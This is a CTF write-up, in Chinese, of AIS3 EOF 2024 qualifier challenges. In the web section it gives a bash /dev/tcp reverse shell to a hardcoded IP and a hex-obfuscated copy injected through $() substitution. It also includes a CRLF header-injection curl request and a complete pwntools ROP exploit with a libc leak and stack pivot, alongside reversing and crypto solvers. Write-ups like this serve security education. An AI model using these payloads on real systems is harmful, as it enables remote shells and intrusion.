---
# System prepended metadata

title: AIS3 EOF 2024 Quals

---

# AIS3 EOF 2024 Qual
<h6>
    username: peach
</h6>

### Welcome [misc]
.

### DNS Lookup Tool: Final [Web]

沒擋 `$()` 所以還是可以任意執行。
這題沒給環境實在很搞，我本地可用的 payload 在上面就是不行。
最後把 `printf` 改成 `/bin/printf` 就過了，不知道題目機用什麼爛 shell。

```!
0<&196;exec 196<>/dev/tcp/140.112.30.186/9001; bash <&196 >&196 2>&196
```

```!
$(bash -c "$(/bin/printf '\x30\x3c\x26\x31\x39\x36\x3b\x65\x78\x65\x63\x20\x31\x39\x36\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x34\x30\x2e\x31\x31\x32\x2e\x33\x30\x2e\x31\x38\x36\x2f\x39\x30\x30\x31\x3b\x20\x62\x61\x73\x68\x20\x3c\x26\x31\x39\x36\x20\x3e\x26\x31\x39\x36\x20\x32\x3e\x26\x31\x39\x36')")
```

### Flag Generator [Reverse]

發現 WriteFile 應該要寫進 flag.exe 但沒有。
x64dbg 執行，break point 直接 dump memory 下來。
執行 dump 出來的執行檔就好了。

![image](https://hackmd.io/_uploads/SyAxqkKOp.png)


### jackpot [Pwn]

題目給一個 stack 上的任意讀，跟 stack overflow。

本身的 binary 雖然沒有 PIE 但 rop gadget 不多所以要用那個任意讀去 leak libc。

stack 上一定有一個位置放 libc 的 return address，我懶得算，所以直接爆試拿到。

拿到之後就能用 libc 的 gadget，因為有 seccomp 所以不能用 exec，但還是可以自己開檔讀 flag。

因為要自己 open read write 所以 stack overflow 的量不夠多，需要自己 read 一次大的再 stack pivot 過去。

```python!
from pwn import *

context.arch = "amd64"

#p = remote("localhost", 10101)
p = remote("10.105.0.21", 12516)

p.sendlineafter(b": ", str(-9).encode())

p.recvuntil(b" ticket ")
leak = int(p.recv(14), 16)
print(f"leak: {hex(leak)}")
libc_base = leak - 0x7fb60e8bc6e5 + 0x7fb60e83b000
rw_space = leak - 0x7fb60e8bc6e5 + 0x7fb60ea54000
print(f"libc_base: {hex(libc_base)}")

pop_rax_ret = libc_base + 0x0000000000045eb0
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret = libc_base + 0x00000000000796a2
syscall_ret = libc_base + 0x0000000000091316
leave_ret   = libc_base + 0x000000000004da83

# clear rax!
mov_rax_to_prsi_ret = libc_base + 0x0000000000089722

# can only use 17! need stack pivot
rop1 = b'\x00' * 0x70 + flat(
    rw_space + 0x200,
    # read rop2
    pop_rax_ret, 0,
    pop_rdi_ret, 0,
    pop_rsi_ret, rw_space + 0x200,
    pop_rdx_ret, 0x200,
    syscall_ret,
    leave_ret
)

rop2 = flat(
    0,
    pop_rax_ret
) + b'/flag\x00\x00\x00' + flat(
    pop_rsi_ret, rw_space,
    mov_rax_to_prsi_ret,
    # open("/flag", 0, 0) = 3
    pop_rax_ret, 2,
    pop_rdi_ret, rw_space,
    pop_rsi_ret, 0,
    pop_rdx_ret, 0,
    syscall_ret,
    # read(3, buf, 100)
    pop_rax_ret, 0,
    pop_rdi_ret, 3,
    pop_rsi_ret, rw_space,
    pop_rdx_ret, 100,
    syscall_ret,
    # write(1, buf, 100)
    pop_rax_ret, 1,
    pop_rdi_ret, 1,
    pop_rsi_ret, rw_space,
    pop_rdx_ret, 100,
    syscall_ret
)

p.sendafter(b": ", rop1)
sleep(1)
p.send(rop2)

print(p.recvall())

```

### Internel [Web]

上網查 internel 可以用 backend 給 `X-Accel-Redirect` header 來存取。又那個 python server 可以自己寫一個 `Location` 的 header，偷用 CRLF 加一個 header 就能得到 `/flag` 了。

```!
curl --path-as-is -vvv http://10.105.0.21:11089/\?redir=http://flag%0d%0aX-Accel-Redirect:%20/flag
```

### Stateful [Reverse]

看到 execution flow 跟輸入一點關係都沒有所以直接把 function 抄下來然後用 replace 把 function 編號弄成輸出，就知道照順序執行哪些 state function 了。

每個 function 都是 `+=` 或 `-=`，所以就可以從檔案裡的 binary 反著做就完了。

**PAIN**


```c!
unsigned char a[] = { 0xbf, 0x38, 0xcc, 0x33, 0x51, 0xdb, 0xf4, 0x02, 0x2d, 0x62, 0x85, 0x75, 0x5f, 0xc4, 0xb3, 0xb3, 0x1b, 0xd7, 0xdf, 0x90, 0xfa, 0x14, 0x4c, 0xae, 0x6a, 0x52, 0x5f, 0xf0, 0x74, 0x34, 0x29, 0x26, 0xbf, 0x65, 0x53, 0x35, 0xc3, 0xc0, 0x54, 0xa0, 0x65, 0xcc, 0x7d };

void state_1978986903() {
    a[0x5] -= a[0x14] + a[0x25];
}

void state_3648003850() {
    a[0x8] -= a[0x10] + a[0xe];
}

void state_3420754995() {
    a[0x11] -= a[0x18] + a[0x26];
}

void state_557589375() {
    a[0xf] -= a[0x8] + a[0x28];
}

void state_71198295() {
    a[0x25] -= a[0x10] + a[0xc];
}

void state_126130845() {
    a[0x4] -= a[0x16] + a[0x6];
}

void state_3901233957() {
    a[0xa] += a[0x16] + a[0xc];
}

void state_1843624184() {
    a[0x12] -= a[0x1f] + a[0x1a];
}

void state_794507810() {
    a[0x17] -= a[0x27] + a[0x1e];
}

void state_4130555047() {
    a[0x4] -= a[0x19] + a[0x1b];
}

void state_1929982570() {
    a[0x25] -= a[0x12] + a[0x1b];
}

void state_3907553856() {
    a[0x29] += a[0x22] + a[0x3];
}

void state_3507844042() {
    a[0xd] -= a[0x8] + a[0x1a];
}

void state_2907124712() {
    a[0x2] -= a[0x19] + a[0x22];
}

void state_2316743832() {
    a[0x0] -= a[0x1f] + a[0x1c];
}

void state_1595228866() {
    a[0x4] -= a[0x19] + a[0x7];
}

void state_1093244921() {
    a[0x12] -= a[0xf] + a[0x1d];
}

void state_809393455() {
    a[0x15] += a[0x2a] + a[0xd];
}

void state_1154341356() {
    a[0x15] -= a[0xf] + a[0x22];
}

void state_3656605789() {
    a[0x7] -= a[0x0] + a[0xa];
}

void state_4165665722() {
    a[0xd] -= a[0x1c] + a[0x19];
}

void state_2816834243() {
    a[0x20] -= a[0x19] + a[0x5];
}

void state_2095151013() {
    a[0x1f] -= a[0x10] + a[0x1];
}

void state_3908914479() {
    a[0x1] -= a[0x28] + a[0x10];
}

void state_2309210106() {
    a[0x1e] += a[0x2] + a[0xd];
}

void state_4008735947() {
    a[0x1] -= a[0x6] + a[0xf];
}

void state_3544494813() {
    a[0x7] -= a[0x0] + a[0x15];
}

void state_4046605750() {
    a[0x18] -= a[0x5] + a[0x14];
}

void state_1780152111() {
    a[0x24] -= a[0xf] + a[0xb];
}

void state_269727185() {
    a[0x0] -= a[0x10] + a[0x21];
}

void state_4237907356() {
    a[0x13] -= a[0x10] + a[0xa];
}

void state_2098792827() {
    a[0x1] += a[0xd] + a[0x1d];
}

void state_3443361864() {
    a[0x1e] += a[0x8] + a[0x21];
}

void state_1132589236() {
    a[0xf] -= a[0xa] + a[0x16];
}

void state_2131447726() {
    a[0x14] -= a[0x18] + a[0x13];
}

void state_1765279360() {
    a[0x1b] -= a[0x14] + a[0x12];
}

void state_4026467378() {
    a[0x27] += a[0x26] + a[0x19];
}

void state_2202680315() {
    a[0x17] -= a[0x22] + a[0x7];
}

void state_2373489361() {
    a[0x25] += a[0x3] + a[0x1d];
}

void state_416430256() {
    a[0x5] -= a[0x4] + a[0x28];
}

void state_2421543205() {
    a[0x11] -= a[0x7] + a[0x0];
}

void state_3844354947() {
    a[0x9] -= a[0x3] + a[0xb];
}

void state_3995931083() {
    a[0x1f] -= a[0x10] + a[0x22];
}

void state_4260333374() {
    a[0x10] -= a[0xb] + a[0x19];
}

void state_2263885268() {
    a[0xe] += a[0x6] + a[0x20];
}

void state_1438496410() {
    a[0x6] -= a[0x29] + a[0xa];
}

void state_2357240312() {
    a[0x2] -= a[0x8] + a[0xb];
}

void state_671274660() {
    a[0x0] += a[0x1f] + a[0x12];
}

void state_2057902921() {
    a[0x9] += a[0x16] + a[0x2];
}

void state_3618225054() {
    a[0xe] -= a[0x8] + a[0x23];
}

int main ()
{
    state_1978986903();
    state_3648003850();
    state_3420754995();
    state_557589375();
    state_71198295();
    state_126130845();
    state_3901233957();
    state_1843624184();
    state_794507810();
    state_4130555047();
    state_1929982570();
    state_3907553856();
    state_3507844042();
    state_2907124712();
    state_2316743832();
    state_1595228866();
    state_1093244921();
    state_809393455();
    state_1154341356();
    state_3656605789();
    state_4165665722();
    state_2816834243();
    state_2095151013();
    state_3908914479();
    state_2309210106();
    state_4008735947();
    state_3544494813();
    state_4046605750();
    state_1780152111();
    state_269727185();
    state_4237907356();
    state_2098792827();
    state_3443361864();
    state_1132589236();
    state_2131447726();
    state_1765279360();
    state_4026467378();
    state_2202680315();
    state_2373489361();
    state_416430256();
    state_2421543205();
    state_3844354947();
    state_3995931083();
    state_4260333374();
    state_2263885268();
    state_1438496410();
    state_2357240312();
    state_671274660();
    state_2057902921();
    state_3618225054();
#include <stdio.h>
    puts(a);
}
```

### PixelClicker [Reverse]

![螢幕擷取畫面 2024-01-06 194709](https://hackmd.io/_uploads/SJZ6WpUup.png)

點的 pixel 會跟那個 FUN_140001a60 的東西比對，所以原本那個應該就是圖。
先把 counter 改成 0x259 (601) 然後斷在這裡找位置，直接把它 dump 下來，再轉成 rgb 輸出。

![螢幕擷取畫面 2024-01-06 192554](https://hackmd.io/_uploads/B1cSG68O6.png)

```python!
from PIL import Image
import numpy as np

with open("pixels.mem", "rb") as f:
    data = f.read()
    pic = np.array([[(data[j * 4 + i * 2400 + 2], data[j * 4 + i * 2400], data[j * 4 + i * 2400 + 1]) for j in range(600)] for i in range(599, -1, -1)])
    pic = Image.fromarray(pic.astype('uint8')).convert('RGB')
    pic.save('pic.png')
```

binary data 是 gbr，交 writeup 之後才發現......

### Baby RSA [Crypto]

$m^3 \leq n_1n_2n_3 \Rightarrow m^3 = m^3 \mod n_1n_2n_3$

所以可以要三組再 CRT 然後開三次方根

```python!
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long

n1 = 20053858249369804854810462052728637755000423552280520167451124932060368469489126535767858672452296152187512407204688276965502451289415832704472741188321495238225402513827081959062926304141351091488884271890525834654534131767269009040836465880677873203776746277525576174717124231166773382213602753337097960720226883838827201184603531038410645796172985843203529561566716418081915601535313473003030294325579159406438958851630166455605052630907448049983802293941787564547833204518361646434652926867983564799277641060110889275187750068902030486641809960773863199813809229070587638738333843044893442690731196533095782361751
c1 = 16765194002853024349853181851450873900958173061920938477309355819292824729299284782241877788873568268082126488343921438112681870080247471246376384749868006636837727889024872918646523940048373310871367175868484213224010648064232641717786127558699358699009515228755057538636298621540217243729835330037439035071669062401837380474100120678889466788271078612309614956294890162523316970073445829795523948638385381950115219701573257420308847275207765559711026322069862795208270737710767843913209823889967046182184493858136707753833847085978251553977887529488991625908489467980637330990476915105420894728752391384949391420656
n2 = 19143993863023065475106159171018601404726748465922315889074454190129179039367668894284081360070764760741300768056703372120909055845584564819928365295051822162420182670717027687506072389159710333578448342371430710198900734633238577750375064433576853425603373709385700013476588758615551630172948261512445898022843212438324308213820029266662075756106355776923347115062759816226908783192912538402077336871409055178177120231364909973490259774769747530048437155420026519943111622394588951980528627268949682966450857736139693424330915409485976051501161724648368850054580602802907653240262732964349973063387147673660087406097
c2 = 8493904974832480935989756425906996241215009253517685008244311895195585142319872125424640095494304880867588330256466830078183416803862523121515913617926473225355315191088026832046183584546622095825184103218451661279737662702684326318579359709623322489188433354602690347730249428251669648862462218203918309434188342076673754309719737421616444517944132271163848447642545615008192045769901398057597877445780947907668178444408152553166307622000017319399114648304808501401230099332352381992177351027957913820859411978916700115924053629374951569943450203777522346581401427670559790619201972770442098798849006444178369190342
n3 = 25161265470084873165508034290590985464034172991962853618184310436968696521808495518367782628018439857900977585701434832830336363565051308217913296416066168437103034061548279114221079825991721975421239134649127736861446065963612023550340787525601590071653804679574212146921695385732797500553520394817637867691476188307247487893579109330612677492800687245491046147200843281428291940142006289294616946686126736059845949304317315840757281061285520518467674114089540257850044687176485302548352347493088387355432844533839552778929215894627711781912995570812623565583080489263047554834822317827544661479027523116263760321601
c3 = 7981049494489087473740975052876072127956912295060756522741139674618721210586028790640128429355242041640060255459630997690239194920329838874408313774929507332096164845990675592465217666133310040272285095624559773139103408556298956921400717724743696861269431837789056440832757271503843796733440418309633701730877370661344899266866156066276976910366790676029876342099984090112654792799564489985661697697945522315894776814704350429493230854359434868256062887406854296256277486703939193363126986435991268134993978160046596152943460982181140700051135645963382465926256852947607537976759572636071123918139504653041063240575

N = n1 * n2 * n3
inv_N1 = pow(N // n1, -1, n1)
inv_N2 = pow(N // n2, -1, n2)
inv_N3 = pow(N // n3, -1, n3)

flag_3 = (c1 * inv_N1 * N // n1 + c2 * inv_N2 * N // n2 + c3 * inv_N3 * N // n3) % N
a, b = gmpy2.iroot(flag_3, 3)
print(long_to_bytes(a), b)
```

### Baby ECDLP [Crypto]

照抄 https://ctftime.org/writeup/29702

用 a, b 式子反推就有 p, q，計算方法在註解

姑且有檢查過兩個 order 都可拆成小質數

```python!
from output import *
from sage.all import *
from Crypto.Util.number import long_to_bytes

#x = var('x')
#print(solve(x ** 3 - x ** 2 + a*x + b, x))

p = 606710710331354054580186816291010392871019954030779016292280286866735511569100967440607108157263872383894869151462034657242060313292171198199627921327747
q = 2593583059728345921717208095074913602629280672126544615190525122441615292084597121583589016495332323447796399589884856517974664149857614601721857175783803

Ep = EllipticCurve(GF(p), [a % p, b % p])
Gp = Ep(p, p) + Ep(q, q)
Cp = Ep.point(C)

Eq = EllipticCurve(GF(q), [a % q, b % q])
Gq = Eq(p, p) + Eq(q, q)
Cq = Eq.point(C)

sp = discrete_log(Cp, Gp, Gp.order(), operation="+")
sq = discrete_log(Cq, Gq, Gq.order(), operation="+")

print(long_to_bytes(int(crt([sp, sq], [Gp.order(), Gq.order()]))))

```

### Baby AES [Crypto]

flow:
```!
# want to know AES_enc(iv), AES_enc(XOR(AES_enc(iv), c1[0:16])), AES_enc(iv + 1), AES_enc(AES_enc(iv + 1)), AES_enc(iv + 2)

# cur: iv + 3
choose: CTR
plain text: b'\0' * 80
obtain: AES_enc(iv + 3), AES_enc(iv + 4), AES_enc(iv + 5), AES_enc(iv + 6), AES_enc(iv + 7)
# cur iv + 4
choose: CFB
plain text: (AES_enc(iv + 4) ^ iv) + b'\0' * 16
obtain: iv, AES_enc(iv)
# cur iv + 5
choose: CFB
plain text: (AES_enc(iv + 5) ^ (iv + 1)) + b'\0' * 32
obtain: iv + 1, AES_enc(iv + 1), AES_enc(AES_enc(iv + 1))
# cur iv + 6
choose: CFB
plain text: (AES_enc(iv + 6) ^ (iv + 2)) + b'\0' * 16
obtain: iv + 2, AES_enc(iv + 2)
# cur iv + 7
choose: CFB
plain text: (AES_enc(iv + 7) ^ XOR(AES_enc(iv), c1[0:16])) + b'\0' * 16
obtain: XOR(AES_enc(iv), c1[0:16]), AES_enc(XOR(AES_enc(iv), c1[0:16]))

# all variables obtained
```

```python!
from pwn import *
from base64 import *
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l

def conv_iv(iv):
    return l2b(iv).rjust(16, b"\x00")

#p = process("AES.py")
p = remote("chal1.eof.ais3.org", 10003)

def CTR(x):
    p.sendlineafter(b"? ", b"CTR")
    p.sendlineafter(b"? ", b64encode(x))
    p.recvuntil(b" b\'")
    return b64decode(p.recvline())

def CFB(x):
    p.sendlineafter(b"? ", b"CFB")
    p.sendlineafter(b"? ", b64encode(x))
    p.recvuntil(b" b\'")
    return b64decode(p.recvline())

p.recvuntil(b'b\'')
iv = b2l(b64decode(p.recvuntil(b'b\'')[:-5]))

C1 = b64decode(p.recvuntil(b')')[:-2])
p.recvuntil(b', b\'')
C2 = b64decode(p.recvuntil(b')')[:-2])
p.recvuntil(b', b\'')
C3 = b64decode(p.recvuntil(b')')[:-2])

a = CTR(b'\0' * 80)
ev3 = b2l(a[:16])
ev4 = b2l(a[16:32])
ev5 = b2l(a[32:48])
ev6 = b2l(a[48:64])
ev7 = b2l(a[64:])

a = CFB(conv_iv(ev4 ^ iv) + b'\0' * 16)
ev0 = b2l(a[16:])

a = CFB(conv_iv(ev5 ^ (iv + 1)) + b'\0' * 32)
ev1 = b2l(a[16:32])
eev1 = b2l(a[32:])

a = CFB(conv_iv(ev6 ^ (iv + 2)) + b'\0' * 16)
ev2 = b2l(a[16:])

a = CFB(conv_iv(ev7 ^ b2l(C1[:16])) + b'\0' * 16)
ev0c = b2l(a[16:])

c1 = b2l(l2b(b2l(C1[:16]) ^ ev0) + l2b(b2l(C1[16:]) ^ ev0c))
c2 = b2l(l2b(b2l(C2[:16]) ^ ev1) + l2b(b2l(C2[16:]) ^ eev1))
c3 = b2l(l2b(b2l(C3[:16]) ^ ev2) + l2b(b2l(C3[16:]) ^ ev3))

print(l2b(c1 ^ c2 ^ c3))
```

### Bam [Reverse]

strings 發現居然有 `$1337$` ，於是順利找到有在作用的 function，從 [github](https://github.com/linux-pam/linux-pam/blob/76af6380776a81ffd6ff50de254fb448ec6bce79/modules/pam_unix/passverify.c#L91) 這邊大概看得出用到的變數是什麼。

然後就一路 backtrace 打出來，最後注意到雖然 input 會跟前面放 random 的地方 xor，但因為 `strcpy` 到的地方就在 random 的前面，所以可以直接覆蓋就變成 `password[:16]` 跟 `password[16:32]` 的 xor。

構造兩串可讀字 (好像其實不一定要可讀？) xor 等於解完的 hash 就過了。

```c!
#include <ctype.h>
#include <stdio.h>
#include <string.h>

void gen_box (unsigned char *salt_i, int salt_l, unsigned char buf[]) {
    for (int i = 0; i < 256; i++) {
        buf[i] = i;
    }
    unsigned char a = 0;
    for (int i = 0; i < 256; i++) {
        a += salt_i[i % salt_l] + buf[i];
        unsigned char t = buf[i];
        buf[i] = buf[a];
        buf[a] = t;
    }
}

void dexor (unsigned char *hash_i, int hash_l, unsigned char *salt_i, int salt_l) {
    unsigned char buf[256];
    gen_box(salt_i, salt_l, buf);
    unsigned char a = 0, b = 0;
    for (int i = 0; i < hash_l; i++) {
        a++;
        b += buf[a];
        unsigned char t = buf[a];
        buf[a] = buf[b];
        buf[b] = t;
        hash_i[i] ^= buf[(buf[a] + buf[b]) & 0xFF];
    }
}

int tr (char x) {
    if ('0' <= x && x <= '9') {
        return x - '0';
    }
    if ('a' <= x && x <= 'f') {
        return x - 'a' + 10;
    }
    if ('A' <= x && x <= 'F') {
        return x - 'A' + 10;
    }
    return 0;
}

void atoi (char *str, unsigned char buf[], int *rlen) {
    int len = strlen(str);
    *rlen = len / 2;
    for (int i = 0; i < len; i += 2) {
        int a = tr(str[i]);
        int b = tr(str[i + 1]);
        buf[i / 2] = (a << 4) | b;
    }
}

void strip (char *str) {
    int j = 0;
    for (int i = 0; str[i]; i++) {
        if (isxdigit(str[i])) {
            str[j++] = str[i];
        }
    }
    str[j] = 0;
}

int check (char *salt, char *hash, char *pass) {
    char buf[0x10];    

    // FILE *f = fopen("/dev/urandom","r");
    // fread(buf, 1, 0x10, f);
    // fclose(f);

    strip(salt);
    strip(hash);

    char salt_i[16], hash_i[16];
    int salt_l, hash_l;
    atoi(salt, salt_i, &salt_l);
    atoi(hash, hash_i, &hash_l);

    dexor(hash_i, hash_l, salt_i, salt_l);

    // here has a strcpy, and the next 16 bytes of pass is buf!
    // for (int i = 0; i < 16; i++) {
    //     printf("%d, ", hash_i[i] ^ '@');
    // }
    // puts("");

    for (int i = 0; i < 16; i++) {
        if ((pass[i] ^ pass[i + 16]) != hash_i[i]) {
            return 7;
        }
    }
    return 0;
}

int split (char *pass, char *shadow) {
    char *salt = strdup(shadow + 6), *hash = strdup(shadow + 6);
    for (int i = 0; i < strlen(salt); i++) {
        if (salt[i] == '$') {
            hash += i + 1;
            salt[i] = 0;
            break;
        }
    }
    return check(salt, hash, pass);
}

int main () {
    char *a = "$1337$346378395nt24aG6hpdm6f3178kz4Xge30NU6w949qM3965n$307nJ6iL2Ob9ce377c7dvf80Jw1h3UY644ce5xbbbj49Z5Qg";
    return split("yVzxrpxjSVrvJOws     @    @   @ ", a);
}
```

![image](https://hackmd.io/_uploads/rJjte1_Op.png)
